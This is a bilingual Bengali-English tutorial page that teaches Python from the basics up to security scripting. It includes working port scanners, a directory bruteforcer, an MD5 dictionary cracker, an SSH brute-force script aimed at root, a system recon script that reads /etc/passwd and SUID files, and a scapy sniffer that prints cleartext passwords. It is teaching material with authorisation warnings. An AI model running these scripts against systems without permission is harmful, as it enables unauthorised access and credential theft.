🐍
সাইবার সিকিউরিটির জন্যfor cyber security

Python

Basics থেকে Security Scripting Basics to Security Scripting

Python-এর একদম শুরু থেকে — Variable, Loop, Function থেকে শুরু করে Network Scanner, Password Cracker, Web Scraper এবং Security Automation Script পর্যন্ত সম্পূর্ণ গাইড। From the very beginning of Python — Variables, Loops, Functions all the way to Network Scanners, Password Crackers, Web Scrapers, and Security Automation Scripts.

>>> print("হ্যালো, হ্যাকার!Hello, Hacker!")
হ্যালো, হ্যাকার!Hello, Hacker!
>>> import security
[+] Python শেখা শুরু হলো...Python learning started...
Variables & Types Loops & Conditions Functions File Handling OOP Basics Networking (socket) Port Scanner Web Scraping Password Tools Automation Scripts
📋 বিষয়সূচিTable of Contents
// Python for Security — Complete Roadmap //
01
Python পরিচিতি ও SetupPython Intro & Setup
Python কী, কেন শিখব, Install, IDLE, VS CodeWhat is Python, why learn, Install, IDLE, VS Code
BEGINNER
02
Variable, Data Types ও Input/OutputVariables, Data Types & Input/Output
int, float, str, bool, list, tuple, dict, set, print(), input()
BEGINNER
03
Operators, Conditions ও LoopsOperators, Conditions & Loops
if/elif/else, for, while, break, continue, range()
BEGINNER
04
Functions ও ModulesFunctions & Modules
def, return, *args, **kwargs, import, os, sys, re
INTERMEDIATE
05
File Handling ও ExceptionFile Handling & Exceptions
open(), read/write, try/except, with statement
INTERMEDIATE
06
Networking — Socket ProgrammingNetworking — Socket Programming
socket module, TCP/UDP, Banner Grabbing, Port Scanner তৈরি
INTERMEDIATE
07
Web Scraping ও HTTP RequestsWeb Scraping & HTTP Requests
requests, BeautifulSoup, Login Bypass Testing, Form Fuzzing
INTERMEDIATE
08
Password ও Hashing ToolsPassword & Hashing Tools
hashlib, MD5/SHA, Password Generator, Dictionary Attacker
SECURITY
09
OS ও System InteractionOS & System Interaction
os, subprocess, shutil, sys — System Recon Script
SECURITY
10
Automation ও ScriptingAutomation & Scripting
Log Parser, IP Scanner, Brute Force AutomatorLog Parser, IP Scanner, Brute Force Automator
SECURITY
11
Security Libraries ও ToolsSecurity Libraries & Tools
scapy, paramiko, pwntools, cryptography — Advanced
ADVANCED
12
Cheat Sheet — সম্পূর্ণ রেফারেন্সCheat Sheet — Complete Reference
Syntax, Built-ins, Security Commands — সব এক জায়গায়Syntax, Built-ins, Security Commands — all in one place
CHEAT
CHAPTER 01
🐍 Python পরিচিতি ও SetupPython Intro & Setup
Python কী, কেন Cyber Security-তে Python, এবং কীভাবে শুরু করবেWhat is Python, why Python in Cyber Security, and how to get started

Python কী?What is Python?

Python হলো একটি high-level, interpreted programming language যা ১৯৯১ সালে Guido van Rossum তৈরি করেন। এর syntax অনেক সহজ এবং পড়তে ইংরেজির মতো মনে হয়। Cyber Security জগতে Python সবচেয়ে বেশি ব্যবহৃত ভাষা।Python is a high-level, interpreted programming language created by Guido van Rossum in 1991. Its syntax is very simple and reads almost like English. Python is the most widely used language in the Cyber Security world.

কেন Python?Why Python?

  • শেখা সহজEasy to learn
  • Security tools-এ ব্যাপক ব্যবহারWidely used in security tools
  • Rapid scriptingRapid scripting
  • বিশাল libraryHuge library ecosystem
  • Cross-platformCross-platform

🔒 Security-তে PythonPython in Security

  • Port Scanner তৈরিBuild Port Scanners
  • Exploit developmentExploit development
  • Malware analysisMalware analysis
  • Password crackingPassword cracking
  • Log analysisLog analysis

🛠️ বিখ্যাত Python ToolsFamous Python Tools

  • ImpacketNetwork protocolsNetwork protocols
  • ScapyPacket manipulationPacket manipulation
  • VolatilityMemory forensicsMemory forensics
  • SQLMapSQL InjectionSQL Injection
  • pwntoolsCTF & exploitsCTF & exploits

Python Install ও SetupPython Install & Setup

# Linux (Kali/Ubuntu) — Python already installed $ python3 --version Python 3.11.2 # Windows — Download from python.org # ✅ "Add Python to PATH" checkbox tick করো! # pip — Package Manager $ pip3 install requests $ pip3 install beautifulsoup4 $ pip3 install scapy # Python চালানো $ python3 # Interactive mode $ python3 script.py # Script চালানো

প্রথম Python ProgramYour First Python Program

# hello.py print("হ্যালো, দুনিয়া!Hello, World!") print("Python শেখা শুরু হলো 🐍")
হ্যালো, দুনিয়া!Hello, World! Python শেখা শুরু হলো 🐍
💡 Editor সাজেশনEditor Suggestion

VS Code ব্যবহার করো — Python extension install করো। অথবা শুধু terminal-এ python3 লিখে interactive mode-এ practice করো।Use VS Code — install the Python extension. Or just type python3 in the terminal and practice in interactive mode.

CHAPTER 02
📦 Variable, Data Types ও Input/OutputVariables, Data Types & Input/Output
Python-এর সব data type, variable declaration এবং user input নেওয়াAll Python data types, variable declaration, and taking user input

Variable কী?What is a Variable?

Variable হলো একটি নাম যেখানে data রাখা যায়। Python-এ variable declare করতে কোনো keyword লাগে না।A variable is a name where data can be stored. In Python, no keyword is needed to declare a variable.

# Variable তৈরি করা name = "Alice" # String age = 25 # Integer score = 98.5 # Float is_hacker = True # Boolean print(name) print("বয়স:", age) print(f"নাম: {name}, বয়স: {age}") # f-string
Alice বয়স: 25 নাম: Alice, বয়স: 25

সব Data TypesAll Data Types

# int — পূর্ণ সংখ্যা port = 80 print(type(port)) # <class 'int'> # float — দশমিক সংখ্যা version = 3.11 # str — টেক্সট ip = "192.168.1.1" domain = 'example.com' # bool — True/False is_open = True is_admin = False # list — পরিবর্তনযোগ্য তালিকা [ ] ports = [21, 22, 80, 443, 8080] ports.append(3306) # যোগ করা ports.remove(21) # বাদ দেওয়া print(ports[0]) # 22 (0 থেকে শুরু) # tuple — অপরিবর্তনীয় তালিকা ( ) protocols = ("TCP", "UDP", "ICMP") # dict — key:value জোড়া { } target = { "ip": "192.168.1.1", "port": 80, "service": "HTTP" } print(target["ip"]) # 192.168.1.1 print(target.get("port")) # 80 # set — unique values { } open_ports = {80, 443, 80, 22} # {80, 443, 22} — duplicate বাদ

String Operations — Security-তে গুরুত্বপূর্ণString Operations — Important in Security

url = "https://target.com/login?id=1" # String methods print(url.upper()) # HTTPS://TARGET.COM/LOGIN?ID=1 print(url.lower()) # lowercase print(url.replace("https", "http")) print(url.split("/")) # ['https:', '', 'target.com', ...] print("login" in url) # True print(url.startswith("https")) # True print(len(url)) # length # String slicing ip = "192.168.1.100" print(ip[0:3]) # "192" print(ip[-3:]) # "100"

Input/OutputInput/Output

# User থেকে input নেওয়া target_ip = input("Target IP দাও: ") port = int(input("Port number: ")) # int() দিয়ে convert print(f"Scanning {target_ip}:{port}...") # Type conversion int("80") # "80" → 80 str(443) # 443 → "443" float("3.14") # "3.14" → 3.14 list("abc") # ['a', 'b', 'c']

// মূল কথাKey Points //

  • 🐍 Python-এ variable declare করতে keyword লাগে নাNo keyword needed to declare variables in Python
  • 📋 list = পরিবর্তনযোগ্য, tuple = অপরিবর্তনীয়, dict = key:valuelist = mutable, tuple = immutable, dict = key:value
  • 🔤 f-string দিয়ে সহজে variable print করা যায়f-strings make printing variables easy
  • 🔄 input() সবসময় string return করে — convert করতে হয়input() always returns a string — must convert it
CHAPTER 03
🔀 Operators, Conditions ও LoopsOperators, Conditions & Loops
if/elif/else, for loop, while loop — Python-এর মূল control flowif/elif/else, for loop, while loop — Python's core control flow

Comparison ও Logical OperatorsComparison & Logical Operators

# Comparison operators print(80 == 80) # True — সমান print(80 != 443) # True — সমান না print(8080 > 80) # True — বড় print(21 < 22) # True — ছোট # Logical operators port = 443 print(port > 80 and port < 1000) # True — দুটোই True print(port == 80 or port == 443) # True — যেকোনো একটা True print(not (port == 22)) # True — উল্টো

if / elif / elseif / elif / else

port = 22 if port == 21: print("FTP — File Transfer") elif port == 22: print("SSH — Secure Shell") elif port == 80: print("HTTP — Web Server") elif port == 443: print("HTTPS — Secure Web") else: print(f"Unknown service on port {port}")
SSH — Secure Shell

for Loopfor Loop

# List-এর উপর loop ports = [21, 22, 80, 443, 8080] for port in ports: print(f"Checking port {port}...") # range() দিয়ে loop for i in range(1, 6): # 1 থেকে 5 print(i) # String-এর উপর loop password = "secret" for char in password: print(char, end="-") # s-e-c-r-e-t- # enumerate — index সহ services = ["FTP", "SSH", "HTTP"] for i, service in enumerate(services): print(f"{i}: {service}") # dict-এর উপর loop target = {"ip": "192.168.1.1", "port": 80} for key, value in target.items(): print(f"{key} = {value}")

while Loopwhile Loop

# while loop — condition সত্য হওয়া পর্যন্ত চলে attempts = 0 while attempts < 3: password = input("Password: ") if password == "admin123": print("✅ Login Successful!") break # loop থেকে বের হয়ে যাও else: attempts += 1 print(f"❌ Wrong! {3 - attempts} attempts left") else: print("🔒 Account Locked!") # continue — এই iteration skip করো for port in range(1, 10): if port % 2 == 0: continue # জোড় port skip print(port) # শুধু বিজোড় print

// মূল কথাKey Points //

  • 🔀 Python-এ indentation (4 space) দিয়ে code block বোঝায়Python uses indentation (4 spaces) to define code blocks
  • 🔄 for loop — জানা সংখ্যক বার; while loop — condition পূরণ না হওয়া পর্যন্তfor loop — known iterations; while loop — until condition fails
  • break = loop বন্ধ করো; continue = এই step skip করোbreak = stop loop; continue = skip this step
CHAPTER 04
⚙️ Functions ও ModulesFunctions & Modules
Reusable code লেখা এবং Python-এর শক্তিশালী built-in modules ব্যবহারWriting reusable code and using Python's powerful built-in modules

Function তৈরি করাCreating Functions

# Basic function def greet(name): print(f"Hello, {name}!") greet("Alice") # Hello, Alice! # Return value সহ function def get_service(port): services = { 21: "FTP", 22: "SSH", 80: "HTTP", 443: "HTTPS", 3306: "MySQL" } return services.get(port, "Unknown") print(get_service(80)) # HTTP print(get_service(9999)) # Unknown # Default parameter def scan_port(ip, port=80): print(f"Scanning {ip}:{port}") scan_port("192.168.1.1") # port=80 (default) scan_port("192.168.1.1", 443) # port=443 # Multiple return values def get_info(): return "192.168.1.1", 80, "HTTP" ip, port, service = get_info() print(ip, port, service)

গুরুত্বপূর্ণ Built-in ModulesImportant Built-in Modules

os — Operating System

import os # File ও Directory print(os.getcwd()) # Current directory os.listdir(".") # Directory contents os.path.exists("/etc/passwd") # File আছে কি না os.makedirs("output", exist_ok=True) # Command চালানো os.system("ls -la") os.system("ping -c 1 google.com") # Environment variables path = os.environ.get("PATH") home = os.path.expanduser("~")

sys — System

import sys # Command line arguments # python3 script.py 192.168.1.1 80 if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <ip> <port>") sys.exit(1) ip = sys.argv[1] # 192.168.1.1 port = sys.argv[2] # 80 print(sys.version) # Python version print(sys.platform) # linux/win32/darwin

re — Regular Expressions

import re log = "192.168.1.100 - - [25/Mar/2026] GET /admin HTTP/1.1 200" # IP address খোঁজা ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' ip = re.findall(ip_pattern, log) print(ip) # ['192.168.1.100'] # Email খোঁজা text = "Contact: alice@target.com or bob@example.org" emails = re.findall(r'[\w.]+@[\w.]+\.\w+', text) print(emails) # ['alice@target.com', 'bob@example.org'] # Match করলে True if re.match(r'^\d{1,3}(\.\d{1,3}){3}$', "192.168.1.1"): print("Valid IP")
CHAPTER 05
📁 File Handling ও Exception HandlingFile Handling & Exception Handling
File পড়া/লেখা এবং error handle করা — Security Script-এর জন্য অপরিহার্যReading/writing files and handling errors — essential for security scripts

File পড়া ও লেখাReading & Writing Files

# File লেখা (write) with open("targets.txt", "w") as f: f.write("192.168.1.1\n") f.write("192.168.1.2\n") f.write("10.0.0.1\n") # File পড়া (read) with open("targets.txt", "r") as f: content = f.read() print(content) # Line by line পড়া — বড় file-এর জন্য ভালো with open("targets.txt", "r") as f: for line in f: ip = line.strip() # newline বাদ দেওয়া print(f"Scanning: {ip}") # Append — বিদ্যমান file-এ যোগ করা with open("results.txt", "a") as f: f.write("192.168.1.1:80 OPEN\n") # Wordlist থেকে passwords পড়া with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1") as f: passwords = [line.strip() for line in f] print(f"Loaded {len(passwords)} passwords")

Exception Handling — Error ধরাException Handling — Catching Errors

# try/except — error হলেও program crash করবে না try: port = int(input("Port: ")) result = 100 / port print(f"Result: {result}") except ValueError: print("❌ সংখ্যা দাও!") except ZeroDivisionError: print("❌ 0 দিও না!") except Exception as e: print(f"❌ Error: {e}") finally: print("✅ Program শেষ") # সবসময় চলবে # File না থাকলে error handle try: with open("wordlist.txt") as f: data = f.read() except FileNotFoundError: print("❌ File পাওয়া যায়নি!")
Best PracticeBest Practice

সবসময় with statement ব্যবহার করো file open করতে — এটা automatically file close করে দেয়। Security script-এ সবসময় try/except ব্যবহার করো যাতে connection refuse বা timeout-এ crash না হয়।Always use the with statement to open files — it automatically closes the file. Always use try/except in security scripts so they don't crash on connection refusals or timeouts.

CHAPTER 06
🌐 Networking — Socket ProgrammingNetworking — Socket Programming
socket module দিয়ে নিজের Port Scanner ও Banner Grabber তৈরি করোBuild your own Port Scanner and Banner Grabber using the socket module

Socket কী?What is a Socket?

Socket হলো দুটো computer-এর মধ্যে network connection-এর endpoint। Python-এর socket module দিয়ে আমরা TCP/UDP connection তৈরি করতে পারি।A socket is a network connection endpoint between two computers. Python's socket module lets us create TCP/UDP connections.

Basic TCP Connection ও Banner GrabbingBasic TCP Connection & Banner Grabbing

import socket # TCP connection তৈরি s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3) # 3 second timeout target = "example.com" port = 80 result = s.connect_ex((target, port)) if result == 0: print(f"✅ Port {port} is OPEN") else: print(f"❌ Port {port} is CLOSED") s.close() # Banner Grabbing — service কী চলছে জানা def grab_banner(ip, port): try: s = socket.socket() s.settimeout(3) s.connect((ip, port)) s.send(b"HEAD / HTTP/1.0\r\n\r\n") banner = s.recv(1024).decode("utf-8", errors="ignore") s.close() return banner except: return None banner = grab_banner("scanme.nmap.org", 80) if banner: print(banner[:200])

🔥 Simple Port Scanner তৈরি🔥 Build a Simple Port Scanner

import socket import sys from datetime import datetime def scan_port(ip, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) result = s.connect_ex((ip, port)) s.close() return result == 0 except: return False def main(): if len(sys.argv) != 3: print("Usage: python3 scanner.py <ip> <end_port>") sys.exit(1) ip = sys.argv[1] end_port = int(sys.argv[2]) print(f"\n🔍 Scanning {ip} [1-{end_port}]") print(f"Started: {datetime.now()}\n") open_ports = [] for port in range(1, end_port + 1): if scan_port(ip, port): service = socket.getservbyport(port, "tcp") if True else "unknown" print(f" ✅ {port:5d}/tcp OPEN") open_ports.append(port) print(f"\nFound {len(open_ports)} open ports") if __name__ == "__main__": main()

Threaded Port Scanner — দ্রুত VersionThreaded Port Scanner — Faster Version

import socket import threading open_ports = [] lock = threading.Lock() def scan(ip, port): try: s = socket.socket() s.settimeout(0.5) if s.connect_ex((ip, port)) == 0: with lock: open_ports.append(port) print(f" [+] Port {port} OPEN") s.close() except: pass ip = "192.168.1.1" threads = [] for port in range(1, 1001): t = threading.Thread(target=scan, args=(ip, port)) threads.append(t) t.start() for t in threads: t.join() print(f"\nOpen: {sorted(open_ports)}")
CHAPTER 07
🕸️ Web Scraping ও HTTP RequestsWeb Scraping & HTTP Requests
requests ও BeautifulSoup দিয়ে web থেকে data তোলা এবং security testingExtracting web data using requests and BeautifulSoup, plus security testing

requests Libraryrequests Library

import requests # GET request r = requests.get("https://httpbin.org/get") print(r.status_code) # 200 print(r.headers) # Response headers print(r.text[:200]) # Response body print(r.json()) # JSON parse # POST request — Form submit data = {"username": "admin", "password": "admin123"} r = requests.post("http://target.com/login", data=data) print(r.status_code) # Custom headers headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityScanner/1.0)", "X-Custom-Header": "test" } r = requests.get("https://target.com", headers=headers) # Session — cookies maintain করা (login session) session = requests.Session() session.post("http://target.com/login", data={"user":"admin","pass":"pass"}) r = session.get("http://target.com/dashboard") # logged-in page # SSL disable (self-signed cert) r = requests.get("https://192.168.1.1", verify=False)

Directory Bruteforcer তৈরিBuild a Directory Bruteforcer

import requests def dir_brute(url, wordlist_path): print(f"🔍 Scanning: {url}\n") found = [] with open(wordlist_path) as f: words = [line.strip() for line in f if line.strip()] for word in words: target_url = f"{url}/{word}" try: r = requests.get(target_url, timeout=3) if r.status_code not in [404, 403]: print(f" [{r.status_code}] {target_url}") found.append(target_url) except: pass print(f"\n✅ Found: {len(found)} paths") return found # চালাও dir_brute("http://target.com", "wordlist.txt")

BeautifulSoup — HTML ParserBeautifulSoup — HTML Parser

import requests from bs4 import BeautifulSoup r = requests.get("https://example.com") soup = BeautifulSoup(r.text, "html.parser") # Links সংগ্রহ করা links = [] for a in soup.find_all("a", href=True): links.append(a["href"]) print(links) # Forms খোঁজা (login page analysis) for form in soup.find_all("form"): print("Form action:", form.get("action")) for inp in form.find_all("input"): print(" Input:", inp.get("name"), inp.get("type")) # Title, meta tags print(soup.title.text) print(soup.find("meta", {"name":"description"}))
CHAPTER 08
🔑 Password ও Hashing ToolsPassword & Hashing Tools
hashlib দিয়ে hash তৈরি, Hash Cracker ও Password Generator লেখাCreating hashes with hashlib, writing a Hash Cracker and Password Generator

hashlib — Hash তৈরি করাhashlib — Creating Hashes

import hashlib password = "admin123" # MD5 hash md5 = hashlib.md5(password.encode()).hexdigest() print(f"MD5: {md5}") # SHA1 hash sha1 = hashlib.sha1(password.encode()).hexdigest() print(f"SHA1: {sha1}") # SHA256 hash sha256 = hashlib.sha256(password.encode()).hexdigest() print(f"SHA256: {sha256}") # File hash (integrity check) def file_hash(filepath): h = hashlib.sha256() with open(filepath, "rb") as f: while chunk := f.read(8192): h.update(chunk) return h.hexdigest() print(file_hash("/etc/passwd"))
MD5: 0192023a7bbd73250516f069df18b500 SHA1: f865b53623b121fd34ee5426c792e5c33af8c227 SHA256: 240be518fabd2724ddb6f04eeb1da5967448d7e831c08c8fa822809f74c720a9

🔥 Hash Cracker তৈরি🔥 Build a Hash Cracker

import hashlib import sys def crack_md5(target_hash, wordlist): print(f"🔍 Cracking: {target_hash}") with open(wordlist, "r", encoding="latin-1") as f: for line in f: word = line.strip() hashed = hashlib.md5(word.encode()).hexdigest() if hashed == target_hash: print(f"✅ CRACKED! Password: {word}") return word print("❌ Not found in wordlist") return None # চালাও — admin123-এর MD5 crack_md5("0192023a7bbd73250516f069df18b500", "rockyou.txt")

Password Generator তৈরিBuild a Password Generator

import random import string import secrets # Cryptographically secure def generate_password(length=16, use_symbols=True): chars = string.ascii_letters + string.digits if use_symbols: chars += string.punctuation # secrets.choice — cryptographically secure random password = "".join(secrets.choice(chars) for _ in range(length)) return password for _ in range(5): print(generate_password(20))
Kx#9mP@2Lq!vN7rTw&Ys $4Bj^uF8cH3nG6dZ%eWm pR!7xK2@LvN9mQ#5tJb& Zs%4qM8#KwP2vG7jN!eR H6@nWx3$bT9mK!pQ5rLv
CHAPTER 09
💻 OS ও System InteractionOS & System Interaction
os, subprocess দিয়ে system command চালানো ও System Recon Script লেখাRunning system commands with os/subprocess and writing a System Recon Script

subprocess — Command চালানোsubprocess — Running Commands

import subprocess # Command চালানো এবং output পাওয়া result = subprocess.run( ["nmap", "-sV", "192.168.1.1"], capture_output=True, text=True ) print(result.stdout) # Output print(result.returncode) # 0 = success # Shell command (সতর্কতার সাথে ব্যবহার করো) output = subprocess.getoutput("whoami") print(output) output = subprocess.getoutput("ip addr show") print(output)

🔥 System Recon Script🔥 System Recon Script

import os import subprocess import socket import platform from datetime import datetime def run_cmd(cmd): try: return subprocess.getoutput(cmd) except: return "N/A" def recon(): print("=" * 50) print(" 🔍 SYSTEM RECON REPORT") print(f" Time: {datetime.now()}") print("=" * 50) # System info print("\n[+] SYSTEM") print(f" OS: {platform.system()} {platform.release()}") print(f" Hostname: {socket.gethostname()}") print(f" User: {run_cmd('whoami')}") # Network info print("\n[+] NETWORK") print(f" IP: {run_cmd('hostname -I')}") print(f" Gateway: {run_cmd('ip route | grep default')}") # Listening ports print("\n[+] OPEN PORTS") print(run_cmd("ss -tulpn | grep LISTEN")) # Users print("\n[+] USERS WITH SHELL") print(run_cmd("grep -v nologin /etc/passwd | grep -v false")) # SUID files print("\n[+] SUID FILES") print(run_cmd("find / -perm -u=s -type f 2>/dev/null | head -10")) recon()

Log Parser — Security Logs বিশ্লেষণLog Parser — Analyzing Security Logs

import re from collections import Counter def parse_auth_log(logfile="/var/log/auth.log"): failed_ips = [] try: with open(logfile) as f: for line in f: if "Failed password" in line: ip = re.search(r'from (\S+)', line) if ip: failed_ips.append(ip.group(1)) counts = Counter(failed_ips) print("🚨 Top Attackers (Failed SSH Logins):") for ip, count in counts.most_common(10): print(f" {ip:20s} → {count} attempts") except FileNotFoundError: print("Log file not found") parse_auth_log()
CHAPTER 10
🤖 Security Automation ScriptsSecurity Automation Scripts
Real-world security কাজে Python automation — Network Scanner, Brute ForcerPython automation for real-world security tasks — Network Scanner, Brute Forcer

Network Host DiscoveryNetwork Host Discovery

import subprocess import threading import ipaddress live_hosts = [] lock = threading.Lock() def ping_host(ip): result = subprocess.run( ["ping", "-c", "1", "-W", "1", str(ip)], capture_output=True ) if result.returncode == 0: with lock: live_hosts.append(str(ip)) print(f" ✅ {ip} is ALIVE") network = ipaddress.IPv4Network("192.168.1.0/24", strict=False) threads = [] for ip in network.hosts(): t = threading.Thread(target=ping_host, args=(ip,)) threads.append(t) t.start() for t in threads: t.join() print(f"\n[+] Found {len(live_hosts)} live hosts")

SSH Brute Force ScriptSSH Brute Force Script

⚠️ শুধুমাত্র নিজের সিস্টেমে বা অনুমতি নিয়ে ব্যবহার করো!Use only on your own system or with explicit permission!
import paramiko # pip install paramiko import sys def ssh_brute(host, username, wordlist): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) with open(wordlist) as f: for line in f: password = line.strip() try: client.connect(host, username=username, password=password, timeout=3) print(f"✅ SUCCESS! Password: {password}") client.close() return password except paramiko.AuthenticationException: print(f" [-] {password}") except Exception as e: print(f" [!] Error: {e}") break print("❌ Password not found") return None ssh_brute("192.168.1.1", "root", "rockyou.txt")

Subdomain EnumeratorSubdomain Enumerator

import requests import threading found = [] lock = threading.Lock() def check_subdomain(domain, sub): url = f"http://{sub}.{domain}" try: r = requests.get(url, timeout=2) with lock: found.append(url) print(f" ✅ [{r.status_code}] {url}") except: pass domain = "target.com" subdomains = ["www", "mail", "ftp", "admin", "dev", "api", "test", "staging", "vpn", "portal"] threads = [threading.Thread(target=check_subdomain, args=(domain, s)) for s in subdomains] for t in threads: t.start() for t in threads: t.join() print(f"\n[+] Found: {len(found)} subdomains")
CHAPTER 11
🛡️ Security Libraries — AdvancedSecurity Libraries — Advanced
scapy, pwntools, cryptography — Professional Security Tool-এর Librariesscapy, pwntools, cryptography — Libraries for professional security tools

Scapy — Packet ManipulationScapy — Packet Manipulation

from scapy.all import * # pip install scapy # ICMP Ping pkt = IP(dst="8.8.8.8") / ICMP() response = sr1(pkt, timeout=2, verbose=False) if response: print(f"✅ Host is ALIVE: {response.src}") # TCP SYN Scan (Stealth Scan) def syn_scan(target, port): pkt = IP(dst=target) / TCP(dport=port, flags="S") resp = sr1(pkt, timeout=1, verbose=False) if resp and resp.haslayer(TCP): if resp[TCP].flags == 0x12: # SYN-ACK return "OPEN" elif resp[TCP].flags == 0x14: # RST-ACK return "CLOSED" return "FILTERED" print(syn_scan("192.168.1.1", 80)) # Packet Sniffing def packet_handler(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): data = pkt[Raw].load.decode("utf-8", errors="ignore") if "password" in data.lower(): print(f"[!] Possible creds: {data}") sniff(iface="eth0", prn=packet_handler, filter="tcp port 80", count=100)

cryptography — Encryptioncryptography — Encryption

from cryptography.fernet import Fernet # pip install cryptography # Key তৈরি করা key = Fernet.generate_key() cipher = Fernet(key) # Encrypt message = b"secret password: admin123" encrypted = cipher.encrypt(message) print(f"Encrypted: {encrypted}") # Decrypt decrypted = cipher.decrypt(encrypted) print(f"Decrypted: {decrypted.decode()}") # File encrypt করা def encrypt_file(filepath, key): f = Fernet(key) with open(filepath, "rb") as fh: data = fh.read() encrypted_data = f.encrypt(data) with open(filepath + ".enc", "wb") as fh: fh.write(encrypted_data) print(f"✅ Encrypted: {filepath}.enc")

pwntools — CTF ও Exploit Developmentpwntools — CTF & Exploit Development

from pwn import * # pip install pwntools # Remote connection conn = remote("target.com", 1337) conn.recvline() # Banner পড়া conn.sendline(b"HELLO") response = conn.recvall() conn.close() # Format string ও packing addr = 0xdeadbeef print(p32(addr)) # 32-bit pack print(p64(addr)) # 64-bit pack print(hex(u32(b"\xef\xbe\xad\xde"))) # unpack # Cyclic pattern (Buffer overflow offset খোঁজা) pattern = cyclic(200) print(pattern) offset = cyclic_find(0x61616166) print(f"Offset: {offset}")
CHAPTER 12
📋 Cheat Sheet — সম্পূর্ণ রেফারেন্সCheat Sheet — Complete Reference
Python syntax, built-in functions ও security commands — সব এক জায়গায়Python syntax, built-in functions and security commands — all in one place

Python Basics Cheat SheetPython Basics Cheat Sheet

Data TypesData Types
x = 42int
x = 3.14float
x = "hello"string
x = True/Falsebool
x = [1, 2, 3]list
x = (1, 2, 3)tuple
x = {"k": "v"}dict
x = {1, 2, 3}set
String Methods
s.upper()বড় হাতেUppercase
s.lower()ছোট হাতেLowercase
s.strip()whitespace বাদRemove whitespace
s.split("/")ভাগ করাSplit
s.replace(a, b)প্রতিস্থাপনReplace
"x" in sআছে কি নাContains check
s[0:5]অংশ নেওয়াSlicing
f"hello {x}"f-string
List Methods
lst.append(x)শেষে যোগAdd to end
lst.remove(x)বাদ দেওয়াRemove item
lst.sort()সাজানোSort
len(lst)সংখ্যা গণনাCount items
lst[0]প্রথম itemFirst item
lst[-1]শেষ itemLast item
x in lstআছে কি নাContains check
[x for x in lst]List comprehension
Control Flow
if x: ... else: ...শর্তCondition
for x in list: ...তালিকা loopList loop
while cond: ...শর্ত loopCondition loop
breakloop বন্ধExit loop
continueskipSkip iteration
range(1, 11)1 → 10
try: ... except:error ধরাCatch error
def fn(x): return xfunctionFunction

Security Module Cheat SheetSecurity Module Cheat Sheet

socket
socket.socket()socket তৈরিCreate socket
s.connect((ip, port))connectConnect
s.connect_ex()0=open0=open
s.recv(1024)data পড়াRead data
s.send(b"data")data পাঠানোSend data
s.settimeout(3)timeout setSet timeout
s.close()বন্ধ করাClose
hashlib
hashlib.md5(x).hexdigest()MD5
hashlib.sha1(x).hexdigest()SHA1
hashlib.sha256(x).hexdigest()SHA256
x.encode()str → bytesstr → bytes
x.decode()bytes → strbytes → str
hashlib.algorithms_availableসব algorithmAll algorithms
requests
requests.get(url)GET request
requests.post(url, data={})POST request
r.status_code200, 404, 403...
r.textResponse bodyResponse body
r.headersResponse headersResponse headers
r.json()JSON parse
requests.Session()cookie sessionCookie session
subprocess / os
subprocess.getoutput(cmd)cmd output পাওয়াGet cmd output
subprocess.run([...])cmd চালানোRun command
os.path.exists(path)file আছে কিFile exists?
os.listdir(path)dir contentsDir contents
os.getcwd()current dirCurrent dir
os.environ.get("VAR")env variableEnv variable

Quick Install CommandsQuick Install Commands

# Security Libraries Install $ pip3 install requests beautifulsoup4 # Web scraping $ pip3 install scapy # Packet manipulation $ pip3 install paramiko # SSH $ pip3 install pwntools # CTF & exploit $ pip3 install cryptography # Encryption $ pip3 install python-nmap # Nmap wrapper $ pip3 install impacket # Network protocols $ pip3 install shodan # Shodan API $ pip3 install dnspython # DNS operations

পরবর্তী কী শিখব?What to Learn Next?

ধাপStep বিষয়Topic ResourceResource
1OOP (Class, Object)Python Docs, Real Python
2CTF ChallengesPicoCTF, HackTheBox
3Scapy Deep Divescapy.readthedocs.io
4pwntools / pwn.collegepwn.college (free)
5Impacket (AD attacks)GitHub/impacket
6নিজের Tool তৈরি করোBuild your own toolsGitHub projects
>>> "Code is Poetry. Secure Code is Art."

এই ডকুমেন্ট সম্পূর্ণ শিক্ষামূলক। সবসময় authorized environment-এ practice করো। This document is entirely educational. Always practice in an authorized environment.

v1.0 — Python for Security | Basics to Security Scripting | Bilingual | 12 Chapters